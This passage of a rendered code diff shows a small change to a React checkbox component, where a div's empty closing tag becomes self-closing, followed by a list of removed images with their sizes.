type='checkbox' value={this.state.checked}
|
||||||
name={this.props.name}/>
|
name={this.props.name}/>
|
||||||
<label className='text'>{this.props.children}</label>
|
<label className='text'>{this.props.children}</label>
|
||||||
<div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}></div>
|
<div className='ui-btn-ping' onTransitionEnd={this.stopAnimation}/>
|
||||||
</div>
|
</div>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
Before Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 95 KiB |
Before Width: | Height: | Size: 85 KiB |
Before Width: | Height: | Size: 156 KiB |
Before Width: | Height: | Size: 163 KiB |
Before Width: | Height: | Size: 167 KiB |
Before Width: | Height: | Size: 153 KiB |